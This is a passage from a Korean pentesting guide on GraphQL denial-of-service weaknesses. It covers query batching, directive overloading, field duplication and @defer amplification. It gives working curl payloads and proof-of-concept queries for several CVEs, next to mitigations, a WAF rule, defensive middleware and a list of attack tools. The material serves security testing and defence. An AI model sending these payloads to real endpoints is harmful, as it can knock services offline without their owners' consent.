Array-based Query Batching๋Š” GraphQL API๊ฐ€ ๋‹จ์ผ ์š”์ฒญ์—์„œ ์—ฌ๋Ÿฌ ์ฟผ๋ฆฌ๋ฅผ ๋ฐฐ์น˜๋กœ ํ—ˆ์šฉํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์œผ๋กœ, ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹ค์ˆ˜์˜ ์ฟผ๋ฆฌ๋ฅผ ๋™์‹œ์— ์ „์†กํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋ฐฐ์น˜๋œ ๋ชจ๋“  ์ฟผ๋ฆฌ๋ฅผ ๋ณ‘๋ ฌ๋กœ ์‹คํ–‰ํ•˜๋ฉด ๋ฐฑ์—”๋“œ๋ฅผ ๊ณผ๋ถ€ํ•˜์‹œํ‚ค๋ฉฐ ๊ณผ๋„ํ•œ ๋ฆฌ์†Œ์Šค(CPU, ๋ฉ”๋ชจ๋ฆฌ, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—ฐ๊ฒฐ)๋ฅผ ์†Œ๋ชจํ•ด ๊ฒฐ๊ตญ Denial of Service (DoS)๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐฐ์น˜ ๋‚ด ์ฟผ๋ฆฌ ์ˆ˜์— ์ œํ•œ์ด ์—†๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์•…์šฉํ•ด ์„œ๋น„์Šค ๊ฐ€์šฉ์„ฑ์„ ์ €ํ•˜์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

์ด ์˜ˆ์—์„œ๋Š” 10๊ฐœ์˜ ์„œ๋กœ ๋‹ค๋ฅธ ์ฟผ๋ฆฌ๊ฐ€ ํ•˜๋‚˜์˜ ์š”์ฒญ์œผ๋กœ ๋ฐฐ์น˜๋˜์–ด ์„œ๋ฒ„๊ฐ€ ์ด๋“ค์„ ๋ชจ๋‘ ๋™์‹œ์— ์‹คํ–‰ํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค. ๋” ํฐ ๋ฐฐ์น˜ ํฌ๊ธฐ๋‚˜ ๊ณ„์‚ฐ ๋น„์šฉ์ด ํฐ ์ฟผ๋ฆฌ๋กœ ์•…์šฉ๋˜๋ฉด ์„œ๋ฒ„๋ฅผ ๊ณผ๋ถ€ํ•˜์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Directive Overloading Vulnerability

Directive Overloading์€ GraphQL ์„œ๋ฒ„๊ฐ€ ๊ณผ๋„ํ•˜๊ฑฐ๋‚˜ ์ค‘๋ณต๋œ directives๋ฅผ ํ—ˆ์šฉํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์„œ๋ฒ„์˜ ํŒŒ์„œ์™€ ์‹คํ–‰๊ธฐ๋ฅผ ์••๋„ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ ์„œ๋ฒ„๊ฐ€ ๋™์ผํ•œ directive ๋กœ์ง์„ ๋ฐ˜๋ณตํ•ด์„œ ์ฒ˜๋ฆฌํ•  ๊ฒฝ์šฐ ๋” ์‹ฌ๊ฐํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํ•œ ๊ฒ€์ฆ์ด๋‚˜ ์ œํ•œ์ด ์—†์œผ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์ˆ˜์˜ ์ค‘๋ณต directives๋ฅผ ํฌํ•จํ•œ ์ฟผ๋ฆฌ๋ฅผ ๋งŒ๋“ค์–ด ๋†’์€ ๊ณ„์‚ฐ๋Ÿ‰์ด๋‚˜ ๋ฉ”๋ชจ๋ฆฌ ์‚ฌ์šฉ์„ ์œ ๋ฐœํ•˜์—ฌ **Denial of Service (DoS)**๋กœ ์ด์–ด์ง€๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

์ด์ „ ์˜ˆ์ œ์—์„œ @aa๋Š” ์ปค์Šคํ…€ ๋””๋ ‰ํ‹ฐ๋ธŒ๋กœ, ์„ ์–ธ๋˜์–ด ์žˆ์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์กด์žฌํ•˜๋Š” ๋ณดํŽธ์ ์ธ ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” **@include**์ž…๋‹ˆ๋‹ค:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

์„ ์–ธ๋œ ๋ชจ๋“  ๋””๋ ‰ํ‹ฐ๋ธŒ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ์ธํŠธ๋กœ์ŠคํŽ™์…˜ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋‚ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Field Duplication Vulnerability

Field Duplication์€ GraphQL ์„œ๋ฒ„๊ฐ€ ๋™์ผํ•œ ํ•„๋“œ๋ฅผ ๊ณผ๋„ํ•˜๊ฒŒ ๋ฐ˜๋ณตํ•œ ์ฟผ๋ฆฌ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ์„œ๋ฒ„๋Š” ๊ฐ ์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ํ•ด๋‹น ํ•„๋“œ๋ฅผ ์ค‘๋ณต์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๊ฒŒ ๋˜์–ด ์ƒ๋‹นํ•œ ์ž์›(CPU, ๋ฉ”๋ชจ๋ฆฌ, ๋ฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ˜ธ์ถœ)์„ ์†Œ๋ชจํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ˆ˜๋ฐฑ ๋˜๋Š” ์ˆ˜์ฒœ ๊ฐœ์˜ ๋ฐ˜๋ณต ํ•„๋“œ๋ฅผ ํฌํ•จํ•œ ์ฟผ๋ฆฌ๋ฅผ ์ œ์ž‘ํ•˜์—ฌ ์„œ๋ฒ„์— ๋†’์€ ๋ถ€ํ•˜๋ฅผ ์œ ๋ฐœํ•˜๊ณ  ์ž ์žฌ์ ์œผ๋กœ **Denial of Service (DoS)**๋กœ ์ด์–ด์ง€๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

์ตœ๊ทผ ์ทจ์•ฝ์  (2023-2025)

GraphQL ์ƒํƒœ๊ณ„๋Š” ๋งค์šฐ ๋น ๋ฅด๊ฒŒ ์ง„ํ™”ํ•ฉ๋‹ˆ๋‹ค; ์ง€๋‚œ 2๋…„ ๋™์•ˆ ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” ์„œ๋ฒ„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋“ค์—์„œ ์—ฌ๋Ÿฌ ์น˜๋ช…์ ์ธ ๋ฌธ์ œ๊ฐ€ ๊ณต๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. GraphQL ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด ์—”์ง„์„ ์ง€๋ฌธ ๋ถ„์„(์ฐธ์กฐ graphw00f)ํ•˜๊ณ  ์‹คํ–‰ ์ค‘์ธ ๋ฒ„์ „์„ ์•„๋ž˜ ์ทจ์•ฝ์ ๊ณผ ๋Œ€์กฐํ•ด ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

CVE-2024-47614 โ€“ async-graphql directive-overload DoS (Rust)

  • ์˜ํ–ฅ: async-graphql < 7.0.10 (Rust)
  • ๊ทผ๋ณธ ์›์ธ: ์ค‘๋ณต๋œ ๋””๋ ‰ํ‹ฐ๋ธŒ์— ๋Œ€ํ•œ ์ œํ•œ์ด ์—†์–ด (์˜ˆ: ์ˆ˜์ฒœ ๊ฐœ์˜ @include) ์ด๊ฒƒ๋“ค์ด ๊ธฐํ•˜๊ธ‰์ˆ˜์ ์œผ๋กœ ๋งŽ์€ ์‹คํ–‰ ๋…ธ๋“œ๋กœ ํ™•์žฅ๋œ๋‹ค.
  • ์˜ํ–ฅ: ๋‹จ์ผ HTTP ์š”์ฒญ์œผ๋กœ CPU/RAM์„ ์†Œ์ง„์‹œ์ผœ ์„œ๋น„์Šค๊ฐ€ ์ค‘๋‹จ๋  ์ˆ˜ ์žˆ๋‹ค.
  • ์ˆ˜์ •/์™„ํ™”: ๋ฒ„์ „์„ โ‰ฅ 7.0.10์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ฑฐ๋‚˜ SchemaBuilder.limit_directives()๋ฅผ ํ˜ธ์ถœํ•˜์„ธ์š”; ๋˜๋Š” "@include.*@include.*@include"์™€ ๊ฐ™์€ WAF ๋ฃฐ๋กœ ์š”์ฒญ์„ ํ•„ํ„ฐ๋งํ•˜์„ธ์š”.
# PoC โ€“ repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 โ€“ graphql-java ENF ๊นŠ์ด/๋ณต์žก๋„ ์šฐํšŒ

  • ์˜ํ–ฅ๋ฐ›๋Š” ๋ฒ„์ „: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • ๊ทผ๋ณธ ์›์ธ: ExecutableNormalizedFields๊ฐ€ MaxQueryDepth / MaxQueryComplexity ๊ณ„์ธก์—์„œ ๊ณ ๋ ค๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์žฌ๊ท€์  ํ”„๋ž˜๊ทธ๋จผํŠธ๋Š” ๋ชจ๋“  ์ œํ•œ์„ ์šฐํšŒํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: graphql-java๋ฅผ ๋‚ด์žฅํ•œ Java ์Šคํƒ(Spring Boot, Netflix DGS, Atlassian productsโ€ฆ)์— ๋Œ€ํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ DoS.
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 โ€“ WPGraphQL SSRF to RCE chain

  • Affected: WPGraphQL โ‰ค 1.14.5 (WordPress plugin).
  • Root cause: the createMediaItem mutation accepted attacker-controlled filePath URLs, allowing internal network access and file writes.
  • Impact: ์ธ์ฆ๋œ Editors/Authors๋Š” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์„ ์œ„ํ•ด PHP ํŒŒ์ผ์„ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

Incremental delivery abuse: @defer / @stream

2023๋…„๋ถ€ํ„ฐ ๋Œ€๋ถ€๋ถ„์˜ ์ฃผ์š” ์„œ๋ฒ„(Apollo 4, GraphQL-Java 20+, HotChocolate 13)๋Š” GraphQL-over-HTTP WG์—์„œ ์ •์˜ํ•œ incremental delivery ์ง€์‹œ์ž๋ฅผ ๊ตฌํ˜„ํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ฐ deferred patch๋Š” separate chunk๋กœ ์ „์†ก๋˜๋ฏ€๋กœ ์ „์ฒด ์‘๋‹ต ํฌ๊ธฐ๋Š” N + 1 (envelope + patches)์ด ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ˆ˜์ฒœ ๊ฐœ์˜ ์ž‘์€ deferred ํ•„๋“œ๋ฅผ ํฌํ•จํ•œ ์ฟผ๋ฆฌ๋Š” ๊ณต๊ฒฉ์ž์—๊ฒŒ๋Š” ๋‹จ ํ•œ ๋ฒˆ์˜ ์š”์ฒญ๋งŒ์œผ๋กœ๋„ ํฐ ์‘๋‹ต์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ „ํ˜•์ ์ธ amplification DoS์ด์ž ์ฒซ ๋ฒˆ์งธ ์ฒญํฌ๋งŒ ๊ฒ€์‚ฌํ•˜๋Š” body-size WAF ๊ทœ์น™์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น WG ๋ฉค๋ฒ„๋“ค ๋˜ํ•œ ์ด ์œ„ํ—˜์„ ์ง€์ ํ–ˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ payload (2,000๊ฐœ์˜ ํŒจ์น˜ ์ƒ์„ฑ):

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

์™„ํ™”: ํ”„๋กœ๋•์…˜์—์„œ @defer/@stream์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ max_patches, ๋ˆ„์  max_bytes ๋ฐ ์‹คํ–‰ ์‹œ๊ฐ„์„ ๊ฐ•์ œํ•˜์„ธ์š”. graphql-armor ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š”(์•„๋ž˜ ์ฐธ์กฐ) ์ด๋ฏธ ํ•ฉ๋ฆฌ์ ์ธ ๊ธฐ๋ณธ๊ฐ’์„ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค.


๋ฐฉ์–ด์šฉ ๋ฏธ๋“ค์›จ์–ด (2024+)

ํ”„๋กœ์ ํŠธ์„ค๋ช…
graphql-armorEscape Tech์—์„œ ๋ฐฐํฌํ•œ Node/TypeScript์šฉ validation ๋ฏธ๋“ค์›จ์–ด. ์ฟผ๋ฆฌ ๊นŠ์ด, alias/field/directive ์ˆ˜, ํ† ํฐ ๋ฐ ๋น„์šฉ์— ๋Œ€ํ•œ ํ”Œ๋Ÿฌ๊ทธ ์•ค ํ”Œ๋ ˆ์ด ์ œํ•œ์„ ๊ตฌํ˜„ํ•˜๋ฉฐ Apollo Server, GraphQL Yoga/Envelop, Helix ๋“ฑ๊ณผ ํ˜ธํ™˜๋ฉ๋‹ˆ๋‹ค.

๋น ๋ฅธ ์‹œ์ž‘:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor์€ ์ด์ œ ์ง€๋‚˜์น˜๊ฒŒ ๊นŠ๊ฑฐ๋‚˜ ๋ณต์žกํ•˜๊ฑฐ๋‚˜ directive๊ฐ€ ๋งŽ์€ ์ฟผ๋ฆฌ๋ฅผ ์ฐจ๋‹จํ•˜์—ฌ ์œ„์˜ CVE๋“ค์— ๋Œ€ํ•œ ๋ณดํ˜ธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.


๋„๊ตฌ

์ทจ์•ฝ์  ์Šค์บ๋„ˆ

  • https://github.com/dolevf/graphql-cop: graphql ์—”๋“œํฌ์ธํŠธ์˜ ์ผ๋ฐ˜์ ์ธ ์ž˜๋ชป๋œ ์„ค์ •์„ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค.
  • https://github.com/assetnote/batchql: ๋ฐฐ์น˜ GraphQL ์ฟผ๋ฆฌ์™€ ๋ฎคํ…Œ์ด์…˜ ์ˆ˜ํ–‰์— ์ค‘์ ์„ ๋‘” GraphQL ๋ณด์•ˆ ๊ฐ์‚ฌ ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค.
  • https://github.com/dolevf/graphw00f: ์‚ฌ์šฉ ์ค‘์ธ graphql์„ ์‹๋ณ„(fingerprint)ํ•ฉ๋‹ˆ๋‹ค.
  • https://github.com/gsmith257-cyber/GraphCrawler: ์Šคํ‚ค๋งˆ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋ฉฐ ๊ถŒํ•œ ๋ถ€์—ฌ๋ฅผ ํ…Œ์ŠคํŠธํ•˜๊ณ  ์Šคํ‚ค๋งˆ๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…(brute force)ํ•˜๋ฉฐ ํŠน์ • ํƒ€์ž…์œผ๋กœ ๊ฐ€๋Š” ๊ฒฝ๋กœ๋ฅผ ์ฐพ๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํˆดํ‚ท์ž…๋‹ˆ๋‹ค.
  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: ์Šคํƒ ๋“œ์–ผ๋ก ์œผ๋กœ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ Burp extension์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • https://github.com/swisskyrepo/GraphQLmap: CLI ํด๋ผ์ด์–ธํŠธ๋กœ๋„ ์‚ฌ์šฉ๋˜์–ด ๊ณต๊ฒฉ ์ž๋™ํ™”์— ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: python3 graphqlmap.py -u http://example.com/graphql --inject
  • https://gitlab.com/dee-see/graphql-path-enum: GraphQL ์Šคํ‚ค๋งˆ์—์„œ ํŠน์ • ํƒ€์ž…์— ๋„๋‹ฌํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ๋‚˜์—ดํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.
  • https://github.com/doyensec/GQLSpection: Standalone ๋ฐ CLI ๋ชจ๋“œ์˜ InQL ํ›„์†์ž…๋‹ˆ๋‹ค.
  • https://github.com/doyensec/inql: ๊ณ ๊ธ‰ GraphQL ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ Burp ํ™•์žฅ ๋˜๋Š” python ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. _Scanner_๋Š” InQL v5.0์˜ ํ•ต์‹ฌ์œผ๋กœ, GraphQL ์—”๋“œํฌ์ธํŠธ๋‚˜ ๋กœ์ปฌ introspection ์Šคํ‚ค๋งˆ ํŒŒ์ผ์„ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ์ฟผ๋ฆฌ์™€ ๋ฎคํ…Œ์ด์…˜์„ ์ž๋™์œผ๋กœ ์ƒ์„ฑํ•˜์—ฌ ๋ถ„์„์„ ์œ„ํ•œ ๊ตฌ์กฐํ™”๋œ ๋ทฐ๋กœ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค. Attacker ๊ตฌ์„ฑ ์š”์†Œ๋Š” ๋ฐฐ์น˜ GraphQL ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ์ž˜๋ชป ๊ตฌํ˜„๋œ ๋ ˆ์ดํŠธ ์ œํ•œ์„ ์šฐํšŒํ•  ๋•Œ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: python3 inql.py -t http://example.com/graphql -o output.json
  • https://github.com/nikitastupin/clairvoyance: introspection์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋„ ์ผ๋ถ€ Graphql ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋„์›€์œผ๋กœ ๋ฎคํ…Œ์ด์…˜๊ณผ ํŒŒ๋ผ๋ฏธํ„ฐ ์ด๋ฆ„์„ ์ถ”์ •ํ•˜์—ฌ ์Šคํ‚ค๋งˆ๋ฅผ ์–ป์–ด๋‚ด๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์  ์•…์šฉ ์Šคํฌ๋ฆฝํŠธ

ํด๋ผ์ด์–ธํŠธ

์ž๋™ ํ…Œ์ŠคํŠธ

https://graphql-dashboard.herokuapp.com/

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ